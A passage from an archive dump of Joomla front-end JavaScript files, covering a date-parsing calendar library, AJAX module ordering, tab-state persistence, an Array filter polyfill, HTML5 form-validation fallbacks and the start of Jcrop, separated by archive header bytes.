e=(c+b)%7;if(c){a.ttip=Calendar._TT.DAY_FIRST.replace("%s",Calendar._DN[e]);a.navtype=100;a.calendar=this;a.fdow=e;Calendar._add_evs(a)}if(d.indexOf(e.toString())!=-1){Calendar.addClass(a,"weekend")}a.innerHTML=Calendar._SDN[(c+b)%7];a=a.nextSibling}};Calendar.prototype._hideCombos=function(){this.monthsCombo.style.display="none";this.yearsCombo.style.display="none"};Calendar.prototype._dragStart=function(ev){if(this.dragging){return}this.dragging=true;var posX;var posY;if(Calendar.is_ie){posY=window.event.clientY+document.body.scrollTop;posX=window.event.clientX+document.body.scrollLeft}else{posY=ev.clientY+window.scrollY;posX=ev.clientX+window.scrollX}var st=this.element.style;this.xOffs=posX-parseInt(st.left);this.yOffs=posY-parseInt(st.top);with(Calendar){addEvent(document,"mousemove",calDragIt);addEvent(document,"mouseup",calDragEnd)}};Date._MD=new Array(31,28,31,30,31,30,31,31,30,31,30,31);Date.SECOND=1000;Date.MINUTE=60*Date.SECOND;Date.HOUR=60*Date.MINUTE;Date.DAY=24*Date.HOUR;Date.WEEK=7*Date.DAY;Date.parseDate=function(l,c){var n=new Date();var o=0;var e=-1;var k=0;var q=l.split(/\W+/);var p=c.match(/%./g);var h=0,g=0;var r=0;var f=0;for(h=0;h<q.length;++h){if(!q[h]){continue}switch(p[h]){case"%d":case"%e":k=parseInt(q[h],10);break;case"%m":e=parseInt(q[h],10)-1;break;case"%Y":case"%y":o=parseInt(q[h],10);(o<100)&&(o+=(o>29)?1900:2000);break;case"%b":case"%B":for(g=0;g<12;++g){if(Calendar._MN[g].substr(0,q[h].length).toLowerCase()==q[h].toLowerCase()){e=g;break}}break;case"%H":case"%I":case"%k":case"%l":r=parseInt(q[h],10);break;case"%P":case"%p":if(/pm/i.test(q[h])&&r<12){r+=12}else{if(/am/i.test(q[h])&&r>=12){r-=12}}break;case"%M":f=parseInt(q[h],10);break}}if(isNaN(o)){o=n.getFullYear()}if(isNaN(e)){e=n.getMonth()}if(isNaN(k)){k=n.getDate()}if(isNaN(r)){r=n.getHours()}if(isNaN(f)){f=n.getMinutes()}if(o!=0&&e!=-1&&k!=0){return new Date(o,e,k,r,f,0)}o=0;e=-1;k=0;for(h=0;h<q.length;++h){if(q[h].search(/[a-zA-Z]+/)!=-1){var s=-1;for(g=0;g<12;++g){if(Calendar._MN[g].substr(0,q[h].length).toLowerCase()==q[h].toLowerCase()){s=g;break}}if(s!=-1){if(e!=-1){k=e+1}e=s}}else{if(parseInt(q[h],10)<=12&&e==-1){e=q[h]-1}else{if(parseInt(q[h],10)>31&&o==0){o=parseInt(q[h],10);(o<100)&&(o+=(o>29)?1900:2000)}else{if(k==0){k=q[h]}}}}}if(o==0){o=n.getFullYear()}if(e!=-1&&k!=0){return new Date(o,e,k,r,f,0)}return n};Date.prototype.getMonthDays=function(b){var a=this.getFullYear();if(typeof b=="undefined"){b=this.getMonth()}if(((0==(a%4))&&((0!=(a%100))||(0==(a%400))))&&b==1){return 29}else{return Date._MD[b]}};Date.prototype.getDayOfYear=function(){var a=new Date(this.getFullYear(),this.getMonth(),this.getDate(),0,0,0);var c=new Date(this.getFullYear(),0,0,0,0,0);var b=a-c;return Math.floor(b/Date.DAY)};Date.prototype.getWeekNumber=function(){var c=new Date(this.getFullYear(),this.getMonth(),this.getDate(),0,0,0);var b=c.getDay();c.setDate(c.getDate()-(b+6)%7+3);var a=c.valueOf();c.setMonth(0);c.setDate(4);return Math.round((a-c.valueOf())/(7*86400000))+1};Date.prototype.equalsTo=function(a){return((this.getFullYear()==a.getFullYear())&&(this.getMonth()==a.getMonth())&&(this.getDate()==a.getDate())&&(this.getHours()==a.getHours())&&(this.getMinutes()==a.getMinutes()))};Date.prototype.setDateOnly=function(a){var b=new Date(a);this.setDate(1);this.setFullYear(b.getFullYear());this.setMonth(b.getMonth());this.setDate(b.getDate())};Date.prototype.print=function(l){var b=this.getMonth();var k=this.getDate();var n=this.getFullYear();var p=this.getWeekNumber();var q=this.getDay();var v={};var r=this.getHours();var c=(r>=12);var h=(c)?(r-12):r;var u=this.getDayOfYear();if(h==0){h=12}var e=this.getMinutes();var j=this.getSeconds();v["%a"]=Calendar._SDN[q];v["%A"]=Calendar._DN[q];v["%b"]=Calendar._SMN[b];v["%B"]=Calendar._MN[b];v["%C"]=1+Math.floor(n/100);v["%d"]=(k<10)?("0"+k):k;v["%e"]=k;v["%H"]=(r<10)?("0"+r):r;v["%I"]=(h<10)?("0"+h):h;v["%j"]=(u<100)?((u<10)?("00"+u):("0"+u)):u;v["%k"]=r;v["%l"]=h;v["%m"]=(b<9)?("0"+(1+b)):(1+b);v["%M"]=(e<10)?("0"+e):e;v["%n"]="\n";v["%p"]=c?"PM":"AM";v["%P"]=c?"pm":"am";v["%s"]=Math.floor(this.getTime()/1000);v["%S"]=(j<10)?("0"+j):j;v["%t"]="\t";v["%U"]=v["%W"]=v["%V"]=(p<10)?("0"+p):p;v["%u"]=q+1;v["%w"]=q;v["%y"]=(""+n).substr(2,2);v["%Y"]=n;v["%%"]="%";var t=/%./g;if(!Calendar.is_ie5&&!Calendar.is_khtml){return l.replace(t,function(a){return v[a]||a})}var o=l.match(t);for(var g=0;g<o.length;g++){var f=v[o[g]];if(f){t=new RegExp(o[g],"g");l=l.replace(t,f)}}return l};window._dynarch_popupCalendar=null;PK!V�A9��js/moduleorder.jsnu�[���!(function() {
	jQuery(document).ready(function($) {
		var $field = $('.module-ajax-ordering'),
			$url = $field.data('url'),
			$clientId = $field.data('client-id'),
			$moduleId = $field.data('module-id'),
			$element = document.getElementById($field.data('element')),
			$linkedField = $field.data('linked-field') ? $field.data('linked-field') : 'jform_position',
			$linkedFieldEl = $('#' + $linkedField),
			$originalOrder = $field.data('ordering'),
			$originalPos = $linkedFieldEl.val(),
			$name = $field.data('name'),
			$attr = $field.data('client-attr') ? $field.data('client-attr') : '',
			$id = $field.attr('id') + '_1',
			$orders = new Array(),
			getNewOrder = function() {
				$.ajax({
					type: "GET",
					dataType: "json",
					url: $url,
					data: {
						"client_id": $clientId,
						"module_id": $moduleId,
						"position" : $originalPos
					}
					})
					.fail(function (jqXHR, textStatus, error) {
						Joomla.renderMessages(Joomla.ajaxErrorsMessages(jqXHR, textStatus, error));

						window.scrollTo(0, 0);
					})
					.done(function (response) {
						if (response.data)
						{
							// Check if everything is OK
							if (response.data.length > 0)
							{
								var i;
								for (i = 0; i < response.data.length; ++i) {
									$orders[i] = response.data[i].split(',');
								}

								// Remove previous <select>, it will be recreated by writeDynaList()
								var $previous = $("#" + $id);
								if ($previous.data('chosen')){
									$previous.chosen('destroy');
								}
								$previous.remove();

								writeDynaList('name="' + $name + '" id="' + $id +'"' + $attr, $orders, $originalPos, $originalPos, $originalOrder, $element);

								// Add chosen to the element
								$("#" + $id).chosen();
							}
						}

						// Render messages, if any. There are only message in case of errors.
						if (typeof response.messages == 'object' && response.messages !== null)
						{
							Joomla.renderMessages(response.messages);
							window.scrollTo(0, 0);
						}
					});
			};

		// Initialize the field on document ready
		getNewOrder();

		// Event listener for the linked field
		$linkedFieldEl.on('change', function() {
			$originalPos = $linkedFieldEl.val();
			getNewOrder();
		});
	});
})();
PK!�b��F#F#js/tabs-state-uncompressed.jsnu�[���/**
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JavaScript behavior to allow selected tab to be remained after save or page reload
 * keeping state in sessionStorage with better handling of multiple tab widgets per page
 * and not saving the state if there is no id in the url (like on the CREATE page of content)
 */

jQuery(function ($) {

    // Ensure in IE8 we can use xpath
    if (typeof wgxpath.install === "function") {
        wgxpath.install();
    }

    /**
     * Tiny jQuery extension to allow getting of url params
     * @use jQuery.urlParam('param') or $.urlParam('myRegex|anotherRegex')
     * If no trailing equals sign in name, add one, allows for general reuse
     */
    $.urlParam = function (name) {
        if (!new RegExp("=$").exec(name)) {
            name = name + '=';
        }
        var results = new RegExp("[\\?&](" + name + ")([^&#]*)").exec(window.location.href);
        return results ? results[1] : null;
    };

    // jQuery extension to get the XPATH of a DOM element
    $.getXpath = function (el) {
        if (typeof el == "string") {
            return document.evaluate(el, document, null, 0, null);
        }
        if (!el || el.nodeType != 1) {
            return "";
        }
        if (el.id) {
            return "//*[@id='" + el.id + "']";
        }
        var a = [];
        var sames = a.filter.call(el.parentNode.children, function (x) {
            return x.tagName == el.tagName;
        });
        var b = [];
        return $.getXpath(el.parentNode) + "/" + el.tagName.toLowerCase() + (sames.length > 1 ? "[" + (b.indexOf.call(sames, el) + 1) + "]" : "");
    };

    // jQuery extension to get the DOM element from an XPATH
    $.findXpath = function (exp, ctxt) {
        var item;
        var coll = [];
        var result = document.evaluate(exp, ctxt || document, null, 5, null);

        while (item = result.iterateNext()) {
            coll.push(item);
        }

        return $(coll);
    };

    var loadTabs = function () {

        /**
         * Remove an item from an array
         */
        function remove_item(activeTabsHrefs, tabCollection) {
            for (var i = 0; i < activeTabsHrefs.length; i++) {
                if (activeTabsHrefs[i].indexOf(tabCollection) > -1) {
                    activeTabsHrefs.splice(i, 1);
                }
            }

            return activeTabsHrefs;
        }

        /**
         * Generate the sessionStorage key we will use
         * This is the URL minus some cleanup
         */
        function getStorageKey() {
            return window.location.href.toString().split(window.location.host)[1].replace(/&return=[a-zA-Z0-9%]+/, "").split('#')[0];
        }

        /**
         * Save this tab to the storage in the form of a pseudo keyed array
         */
        function saveActiveTab(event) {

            // Get a new storage key, normally the full url we are on with some cleanup
            var storageKey = getStorageKey();

            // get this tabs own href
            var href = $(event.target).attr("href");

            // find the collection of tabs this tab belongs to, and calcuate the unique xpath to it
            var tabCollection = $.getXpath($(event.target).closest(".nav-tabs").first().get(0));

            // error handling
            if (!tabCollection || typeof href == "undefined") {
                return;
            }

            // Create a dummy keyed array as js doesnt allow keyed arrays
            var storageValue = tabCollection + "|" + href;

            // Get the current array from the storage
            var activeTabsHrefs = JSON.parse(sessionStorage.getItem(storageKey));

            // If none start a new array
            if (!activeTabsHrefs) {
                var activeTabsHrefs = [];
            } else {
                // Avoid Duplicates in the storage
                remove_item(activeTabsHrefs, tabCollection);
            }

            // Save clicked tab, with relationship to tabCollection to the array
            activeTabsHrefs.push(storageValue);

            // Store the selected tabs as an array in sessionStorage
            sessionStorage.setItem(storageKey, JSON.stringify(activeTabsHrefs));
        }

        // Array with active tabs hrefs
        var activeTabsHrefs = JSON.parse(sessionStorage.getItem(getStorageKey()));

        // jQuery object with all tabs links
        var alltabs = $("a[data-toggle='tab']");

        // When a tab is clicked, save its state!
        alltabs.on("click", function (e) {
            saveActiveTab(e);
        });

        // Clean default tabs
        alltabs.parent(".active").removeClass("active");

        // If we cannot find a tab storage for this url, see if we are coming from a save of a new item
        if (!activeTabsHrefs) {
            var unSavedStateUrl = getStorageKey().replace(/\&id=[0-9]*|[a-z]\&{1}_id=[0-9]*/, '');
            activeTabsHrefs = JSON.parse(sessionStorage.getItem(unSavedStateUrl));
            sessionStorage.removeItem(unSavedStateUrl);
        }

        // we have some tab states to restore, if we see a hash then let that trump the saved state
        if (activeTabsHrefs !== null && !window.location.hash) {

            // When moving from tab area to a different view
            $.each(activeTabsHrefs, function (index, tabFakexPath) {

                // Click the tab
                var parts = tabFakexPath.split("|");
                $.findXpath(parts[0]).find("a[data-toggle='tab'][href='" + parts[1] + "']").click();

            });

        } else { // clean slate start

            // a list of tabs to click
            var tabsToClick = [];

            // If we are passing a hash then this trumps everything
            if (window.location.hash) {

                // for each set of tabs on the page
                alltabs.parents("ul").each(function (index, ul) {

                    // If no tabs is saved, activate first tab from each tab set and save it
                    var tabToClick = $(ul).find("a[href='" + window.location.hash + "']");

                    // If we found some|one
                    if (tabToClick.length) {

                        // if we managed to locate its selector directly
                        if (tabToClick.selector) {

                            // highlight tab of the tabs if the hash matches
                            tabsToClick.push(tabToClick);
                        } else {

                            // highlight first tab of the tabs
                            tabsToClick.push(tabToClick.first());
                        }

                        var parentPane = tabToClick.closest('.tab-pane');

                        // bubble up for nested tabs (like permissions tabs in the permissions pane)
                        if (parentPane) {
                            var id = parentPane.attr('id');
                            if (id) {
                                var parentTabToClick = $(parentPane).find("a[href='#" + id + "']");
                                if (parentTabToClick) {
                                    tabsToClick.push(parentTabToClick);
                                }
                            }
                        }
                    }

                    // cleanup for another loop
                    parentTabToClick = null;
                    tabToClick = null;
                    parentPane = null;
                    id = null;
                });

                // run in the right order bubbling up
                tabsToClick.reverse();

                // for all queued tabs
                for (var i = 0; i < tabsToClick.length; i++) {

                    // click the tabs, thus storing them
                    jQuery(tabsToClick[i].selector).click();
                }

                // Remove the #hash in the url - with support for older browsers with no flicker
                var scrollV, scrollH, loc = window.location;
                if ("pushState" in history)
                    history.pushState("", document.title, loc.pathname + loc.search);
                else {
                    // Prevent scrolling by storing the page's current scroll offset
                    scrollV = document.body.scrollTop;
                    scrollH = document.body.scrollLeft;
                    loc.hash = "";
                    // Restore the scroll offset, should be flicker free
                    document.body.scrollTop = scrollV;
                    document.body.scrollLeft = scrollH;
                }

            } else {
                alltabs.parents("ul").each(function (index, ul) {
                    // If no tabs is saved, activate first tab from each tab set and save it
                    $(ul).find("a").first().click();
                });
            }
        }
    };

    setTimeout(loadTabs, 100);
});
PK!��X�~~"js/polyfill.filter-uncompressed.jsnu�[���/* Polyfill service v3.14.0
 * For detailed credits and licence information see https://github.com/financial-times/polyfill-service.
 * 
 * UA detected: ie/8.0.0
 * Features requested: Array.prototype.filter
 * 
 * - Array.prototype.filter, License: CC0 */

(function(undefined) {
if (!('filter' in Array.prototype)) {

// Array.prototype.filter
Array.prototype.filter = function filter(callback) {
	if (this === undefined || this === null) {
		throw new TypeError(this + ' is not an object');
	}

	if (!(callback instanceof Function)) {
		throw new TypeError(callback + ' is not a function');
	}

	var
	object = Object(this),
	scope = arguments[1],
	arraylike = object instanceof String ? object.split('') : object,
	length = Math.max(Math.min(arraylike.length, 9007199254740991), 0) || 0,
	index = -1,
	result = [],
	element;

	while (++index < length) {
		element = arraylike[index];

		if (index in arraylike && callback.call(scope, element, index, object)) {
			result.push(element);
		}
	}

	return result;
};

}

})
.call('object' === typeof window && window || 'object' === typeof self && self || 'object' === typeof global && global || {});
PK!g��2525 js/html5fallback-uncompressed.jsnu�[���/**
 * @copyright	(C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Unobtrusive Form Validation and HTML5 Form polyfill library
 *
 * Inspired by: Ryan Seddon <http://thecssninja.com/javascript/H5F>
 *
 * @package		Joomla.Framework
 * @subpackage	Forms
 */

( function( $, document, undefined ) {
	"use strict";

	// Utility function
	if ( typeof Object.create !== 'function' ) {
		Object.create = function( obj ) {
			function F() {}
			F.prototype = obj;
			return new F();
		};
	}

	var features = ( function( el, item ) {
		var attributes = [ 'required', 'pattern', 'placeholder', 'autofocus', 'formnovalidate' ],
			types = [ 'email', 'url', 'number', 'range' ],
			result = {
				attributes: {},
				types: {}
			};

		while ( item = attributes.pop() ) {
			result.attributes[ item ] = !!( item in el );
		}

		while ( item = types.pop() ) {
			el.setAttribute( 'type', item );
			result.types[ item ] = ( el.type == item );
		}

		return result;
	}( document.createElement( "input" ) ) );

	var H5Form = {
		/**
		 * Init function, prepares the form for for validation
		 *
		 * @param   object   options  Some options to override the defaults.
		 * @param   Element  elem     The form or element to validate.
		 *
		 * @return  void
		 */
		init: function( options, elem ) {
			var self = this;

			self.elem = elem;
			self.$elem = $( elem );
			elem.H5Form = self;
			self.options = $.extend( {}, $.fn.h5f.options, options );

			// Check whether the element is form or not
			if ( elem.nodeName.toLowerCase() === "form" ) {
				self.bindWithForm( self.elem, self.$elem );
			}
		},

		/**
		 * Attach the validation behaviors to the form
		 *
		 * @param   Element  form   The form element
		 * @param   jQuery   $form  A jQuery object containing the form
		 *
		 * @return  void
		 */
		bindWithForm: function( form, $form ) {
			var self = this,
				novalidate = !!$form.attr( 'novalidate' ),
				f = form.elements,
				flen = f.length,
				formnovalidate;

			if ( self.options.formValidationEvent === "onSubmit" ) {
				$form.on( 'submit', function( e ) {
					formnovalidate = this.H5Form.donotValidate !== undefined ? this.H5Form.donotValidate : false;

					if ( !formnovalidate && !novalidate && !self.validateForm( self ) ) {
						// Prevent form from submit
						e.preventDefault();
						this.donotValidate = false;
					} else {
						$form.find( ':input' )
							.each( function() {
								self.placeholder( self, this, 'submit' );
							} );
					}
				});
			}

			$form.on( 'focusout focusin', function( event ) {
				self.placeholder( self, event.target, event.type );
			});

			$form.on( 'focusout change', self.validateField );

			$form.find( 'fieldset' )
				.on( 'change', function() {
					self.validateField( this );
				});

			if ( !features.attributes.formnovalidate ) {
				$form.find( ':submit[formnovalidate]' )
					.on( 'click', function() {
						self.donotValidate = true;
					});
			}

			while ( flen-- ) {
				// Assign graphical polyfills
				self.polyfill( f[ flen ] );
				self.autofocus( self, f[ flen ] );
			}
		},

		/**
		 * Apply the polyfills where applicable
		 *
		 * @param   Element  elem  The element to apply polyfills to
		 *
		 * @return  void
		 */
		polyfill: function( elem ) {
			if ( elem.nodeName.toLowerCase() === 'form' ) return true;

			var self = elem.form.H5Form;

			self.placeholder( self, elem );
			self.numberType( self, elem );
		},

		/**
		 * Validate the form
		 *
		 * @return  boolean  True if the form is valid, False if not
		 */
		validateForm: function() {
			var self = this,
				form = self.elem,
				f = form.elements,
				flen = f.length,
				isFieldValid = true,
				i, elem;

			form.isValid = true;

			for ( i = 0; i < flen; i++ ) {
				elem = f[ i ];
				elem.isRequired = !!elem.required;
				if (elem.isDisabled) {
					elem.isDisabled = !!elem.disabled;
				}

				//Do Validation
				if ( !elem.isDisabled ) {
					isFieldValid = self.validateField( elem );

					// Set focus to first invalid field
					if ( form.isValid && !isFieldValid ) {
						self.setFocusOn( elem );
					}

					form.isValid = isFieldValid && form.isValid;
				}
			}

			if ( self.options.doRenderMessage ) {
				self.renderErrorMessages( self, form );
			}

			return form.isValid;
		},

		/**
		 * Validate a field
		 *
		 * @param   mixed  e  Either an Event or Element
		 *
		 * @return  mixed  True if the field is valid, False if not, null if the field has no form.
		 */
		validateField: function( e ) {
			var elem = e.target || e,
				isMissing = false,
				isRequired = false,
				isDisabled = false,
				isPatternMismatched = false,
				self, $elem, $labelref;

			if ( elem.form === undefined ) {
				return null;
			}

			self = elem.form.H5Form;
			$elem = $( elem );
			isRequired = !!$elem.attr( "required" );
			isDisabled = !!$elem.attr( "disabled" );

			if ( !elem.isDisabled ) {
				isMissing = !features.attributes.required && isRequired && self.isValueMissing( self, elem );
				isPatternMismatched = !features.attributes.pattern && self.matchPattern( self, elem );
			}

			elem.validityState = {
				valueMissing: isMissing,
				patternMismatch: isPatternMismatched,
				valid: ( elem.isDisabled || !( isMissing || isPatternMismatched ) )
			};

			if ( !features.attributes.required ) {
				if ( elem.validityState.valueMissing ) {
					$elem.addClass( self.options.requiredClass );
				} else {
					$elem.removeClass( self.options.requiredClass );
				}
			}

			if ( !features.attributespattern ) {
				if ( elem.validityState.patternMismatch ) {
					$elem.addClass( self.options.patternClass );
				} else {
					$elem.removeClass( self.options.patternClass );
				}
			}

			if ( !elem.validityState.valid ) {
				$elem.addClass( self.options.invalidClass );
				$labelref = self.findLabel( $elem );
				$labelref.addClass( self.options.invalidClass );
				$labelref.attr( 'aria-invalid', 'true' );
			} else {
				$elem.removeClass( self.options.invalidClass );
				$labelref = self.findLabel( $elem );
				$labelref.removeClass( self.options.invalidClass );
				$labelref.attr( 'aria-invalid', 'false' );
			}

			return elem.validityState.valid;
		},

		/**
		 * Check if the field has no value
		 *
		 * @param   H5Form    self  This
		 * @param   Element   elem  A field element to check
		 *
		 * @return  Boolean
		 */
		isValueMissing: function( self, elem ) {
			var $elem = $( elem ),
				type = elem.type !== undefined ? elem.type : elem.tagName.toLowerCase(),
				isSpecialType = /^(checkbox|radio|fieldset)$/i.test( type ),
				isIgnoredType = /^submit$/i.test( type ),
				elements, i, l;

			if ( isIgnoredType ) {
				return false;
			}

			if ( !isSpecialType ) {
				if ( $elem.val() === "" || ( !features.attributes.placeholder && $elem.hasClass( self.options.placeholderClass ) ) ) {
					return true;
				}
			} else {
				if ( type === "checkbox" ) {
					return !$elem.is( ':checked' );
				} else {
					elements = ( type === "fieldset" ) ? $elem.find( 'input' ) : document.getElementsByName( elem.name );

					for ( i = 0, l = elements.length; i < l; i++ ) {
						if ( $( elements[ i ] ).is( ':checked' ) ) {
							return false;
						}
					}

					// Since no checkbox or radio box is checked value is missing.
					return true;
				}
			}

			return false;
		},

		/**
		 * Check if a pattern is not matched
		 *
		 * @param   H5Form    self  This
		 * @param   Element   elem  A field element to check
		 *
		 * @return  boolean   True if the pattern does not match.
		 */
		matchPattern: function( self, elem ) {
			var $elem = $( elem ),
				val = $elem.attr( 'value' ),
				pattern = $elem.attr( 'pattern' ),
				type = $elem.attr( 'type' ),
				i, l;

			if ( features.attributes.placeholder || !$elem.attr( 'placeholder' ) || !$elem.hasClass( self.options.placeholderClass ) ) {
				val = $elem.attr( 'value' );
			}

			if ( val === "" ) {
				return false;
			}

			if ( type === "email" ) {
				if ( $elem.attr( 'multiple' ) !== undefined ) {
					val = val.split( self.options.mutipleDelimiter );

					for ( i = 0, l = val.length; i < l; i++ ) {
						if ( !self.options.emailPatt.test( val[ i ].replace( /[ ]*/g, '' ) ) ) return true;
					}
				} else {
					return !self.options.emailPatt.test( val );
				}
			} else if ( type === "url" ) {
				return !self.options.urlPatt.test( val );
			} else if ( type === 'text' ) {
				if ( pattern !== undefined ) {
					usrPatt = new RegExp( '^(?:' + pattern + ')$' );

					return !usrPatt.test( val );
				}
			}

			return false;
		},

		/**
		 * Placeholder polyfill
		 *
		 * @param   H5Form    self   This
		 * @param   Element   elem   A field element to fill
		 * @param   Event     event  Event object
		 *
		 * @return  void
		 */
		placeholder: function( self, elem, event ) {
			var $elem = $( elem ),
				placeholder = $elem.attr( "placeholder" ),
				expectEmpty = /^(focusin|submit)$/i.test( event ),
				isInput = /^(input|textarea)$/i.test( elem.nodeName ),
				isIgnored = /^password$/i.test( elem.type ),
				isNative = features.attributes.placeholder;

			if ( isNative || !isInput || isIgnored || placeholder === undefined ) {
				return;
			}

			if ( elem.value === "" && !expectEmpty ) {
				elem.value = placeholder;
				$elem.addClass( self.options.placeholderClass );
			} else if ( elem.value === placeholder && expectEmpty ) {
				elem.value = "";
				$elem.removeClass( self.options.placeholderClass );
			}
		},

		/**
		 * Polyfill for number type fields
		 *
		 * @param   H5Form    self   This
		 * @param   Element   elem   A field element to replace
		 *
		 * @return  void
		 */
		numberType: function( self, elem ) {
			var $elem = $( elem ),
				type = $elem.attr( 'type' ),
				isInput = /^input$/i.test( elem.nodeName ),
				isType = /^(number|range)$/i.test( type ),
				min, max, step, value, attributes, $select, $option, i;

			if ( !isInput || !isType || ( type == "number" && features.types.number ) || ( type == "range" && features.types.range ) ) {
				return;
			}

			min = parseInt( $elem.attr( 'min' ) );
			max = parseInt( $elem.attr( 'max' ) );
			step = parseInt( $elem.attr( 'step' ) );
			value = parseInt( $elem.attr( 'value' ) );
			attributes = $elem.prop( "attributes" );
			$select = $( '<select>' );

			min = isNaN( min ) ? -100 : min;

			for ( i = min; i <= max; i += step ) {
				$option = $( '<option value="' + i + '">' + i + '</option>' );

				if ( value == i || ( value > i && value < i + step ) ) {
					$option.attr( 'selected', '' );
				}

				$select.append( $option );
			}

			$.each( attributes, function() {
				$select.attr( this.name, this.value );
			});

			$elem.replaceWith( $select );
		},

		/**
		 * Autofocus polyfill
		 *
		 * @param   H5Form    self   This
		 * @param   Element   elem   A field element to autofocus
		 *
		 * @return  void
		 */
		autofocus: function( self, elem ) {
			var $elem = $( elem ),
				doAutofocus = !!$elem.attr( "autofocus" ),
				canFocus = /^(input|textarea|select|fieldset)$/i.test( elem.nodeName ),
				isIgnored = /^submit$/i.test( elem.type ),
				isNative = features.attributes.autofocus;

			if ( !isNative && canFocus && !isIgnored && doAutofocus ) {
				$(function() {
					self.setFocusOn( elem );
				});
			}
		},

		/**
		 * Find an element's label.
		 *
		 * @param   Element  $elem  Some kind of input element
		 *
		 * @return  Element  A label element
		 */
		findLabel: function( $elem ) {
			var $label = $( 'label[for="' + $elem.attr( 'id' ) + '"]' ),
				$parentElem;

			if ( $label.length <= 0 ) {
				$parentElem = $elem.parent();

				if ( $parentElem.get( 0 )
					.tagName.toLowerCase() == "label" ) {
					$label = $parentElem;
				}
			}

			return $label;
		},

		/**
		 * Set focus on an element.
		 *
		 * @param  Element  elem  The element to focus on.
		 */
		setFocusOn: function( elem ) {
			if ( elem.tagName.toLowerCase() === "fieldset" ) {
				$( elem )
					.find( ":first" )
					.focus();
			} else {
				$( elem )
					.focus();
			}
		},

		/**
		 * Renders any error messages
		 *
		 * @param   H5Form    self   This
		 * @param   Element   form   A form element
		 *
		 * @return  void
		 */
		renderErrorMessages: function( self, form ) {
			var f = form.elements,
				flen = f.length,
				error = {
					errors: []
				},
				$elem, $label;

			while ( flen-- ) {
				$elem = $( f[ flen ] );
				$label = self.findLabel( $elem );

				if ( $elem.hasClass( self.options.requiredClass ) ) {
					error.errors[ flen ] = $label.text()
						.replace( "*", "" ) + self.options.requiredMessage;
				}

				if ( $elem.hasClass( self.options.patternClass ) ) {
					error.errors[ flen ] = $label.text()
						.replace( "*", "" ) + self.options.patternMessage;
				}
			}

			if ( error.errors.length > 0 ) {
				Joomla.renderMessages( error );
			}
		}
	};

	$.fn.h5f = function( options ) {
		return this.each(function() {
			Object.create( H5Form )
				.init( options, this );
		});
	};

	$.fn.h5f.options = {
		invalidClass: "invalid",
		requiredClass: "required",
		requiredMessage: " is required.",
		placeholderClass: "placeholder",
		patternClass: "pattern",
		patternMessage: " doesn't match pattern.",
		doRenderMessage: false,
		formValidationEvent: 'onSubmit',
		emailPatt: /^[a-zA-Z0-9.!#$%&’*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/,
		urlPatt: /[a-z][\-\.+a-z]*:\/\//i
	};

	$( function() {
		$( 'form' )
			.h5f({
				doRenderMessage: true,
				requiredClass: "musthavevalue"
			});
	});

})( jQuery, document );
PK!��&�'�'js/jquery.Jcrop.jsnu�[���/*! Jcrop.js v2.0.4 - build: 20151117
 *  @copyright 2008-2015 Tapmodo Interactive LLC
 *  @license Free software under MIT License
 *  @website http://jcrop.org/
 **/
(function($){
  'use strict';

  // Jcrop constructor
  var Jcrop = function(element,opt){
    var _ua = navigator.userAgent.toLowerCase();

    this.opt = $.extend({},Jcrop.defaults,opt || {});

    this.container = $(element);

    this.opt.is_msie = /msie/.test(_ua);
    this.opt.is_ie_lt9 = /msie [1-8]\./.test(_ua);

    this.container.addClass(this.opt.css_container);

    this.ui = {};
    this.state = null;
    this.ui.multi = [];
    this.ui.selection = null;
    this.filter = {};

    this.init();
    this.setOptions(opt);
    this.applySizeConstraints();
    this.container.trigger('cropinit',this);
      
    // IE<9 doesn't work if mouse events are attached to window
    if (this.opt.is_ie_lt9)
      this.opt.dragEventTarget = document.body;
  };


  // Jcrop static functions
  $.extend(Jcrop,{
    component: { },
    filter: { },
    stage: { },
    registerComponent: function(name,component){
      Jcrop.component[name] = component;
    },
    registerFilter: function(name,filter){
      Jcrop.filter[name] = filter;
    },
    registerStageType: function(name,stage){
      Jcrop.stage[name] = stage;
    },
    // attach: function(element,opt){{{
    attach: function(element,opt){
      var obj = new $.Jcrop(element,opt);
      return obj;
    },
    // }}}
    // imgCopy: function(imgel){{{
    imgCopy: function(imgel){
      var img = new Image;
      img.src = imgel.src;
      return img;
    },
    // }}}
    // imageClone: function(imgel){{{
    imageClone: function(imgel){
      return $.Jcrop.supportsCanvas?
        Jcrop.canvasClone(imgel):
        Jcrop.imgCopy(imgel);
    },
    // }}}
    // canvasClone: function(imgel){{{
    canvasClone: function(imgel){
      var canvas = document.createElement('canvas'),
          ctx = canvas.getContext('2d');

      $(canvas).width(imgel.width).height(imgel.height),
      canvas.width = imgel.naturalWidth;
      canvas.height = imgel.naturalHeight;
      ctx.drawImage(imgel,0,0,imgel.naturalWidth,imgel.naturalHeight);
      return canvas;
    },
    // }}}
    // propagate: function(plist,config,obj){{{
    propagate: function(plist,config,obj){
      for(var i=0,l=plist.length;i<l;i++)
        if (config.hasOwnProperty(plist[i]))
          obj[plist[i]] = config[plist[i]];
    },
    // }}}
    // getLargestBox: function(ratio,w,h){{{
    getLargestBox: function(ratio,w,h){
      if ((w/h) > ratio)
        return [ h * ratio, h ];
          else return [ w, w / ratio ];
    },
    // }}}
    // stageConstructor: function(el,options,callback){{{
    stageConstructor: function(el,options,callback){

      // Get a priority-ordered list of available stages
      var stages = [];
      $.each(Jcrop.stage,function(i,e){
        stages.push(e);
      });
      stages.sort(function(a,b){ return a.priority - b.priority; });

      // Find the first one that supports this element
      for(var i=0,l=stages.length;i<l;i++){
        if (stages[i].isSupported(el,options)){
          stages[i].create(el,options,function(obj,opt){
            if (typeof callback == 'function') callback(obj,opt);
          });
          break;
        }
      }
    },
    // }}}
    // supportsColorFade: function(){{{
    supportsColorFade: function(){
      return $.fx.step.hasOwnProperty('backgroundColor');
    },
    // }}}
    // wrapFromXywh: function(xywh){{{
    wrapFromXywh: function(xywh){
      var b = { x: xywh[0], y: xywh[1], w: xywh[2], h: xywh[3] };
      b.x2 = b.x + b.w;
      b.y2 = b.y + b.h;
      return b;
    }
    // }}}
  });

var AbstractStage = function(){
};

$.extend(AbstractStage,{
  isSupported: function(el,o){
    // @todo: should actually check if it's an HTML element
    return true;
  },
  // A higher priority means less desirable
  // AbstractStage is the last one we want to use
  priority: 100,
  create: function(el,options,callback){
    var obj = new AbstractStage;
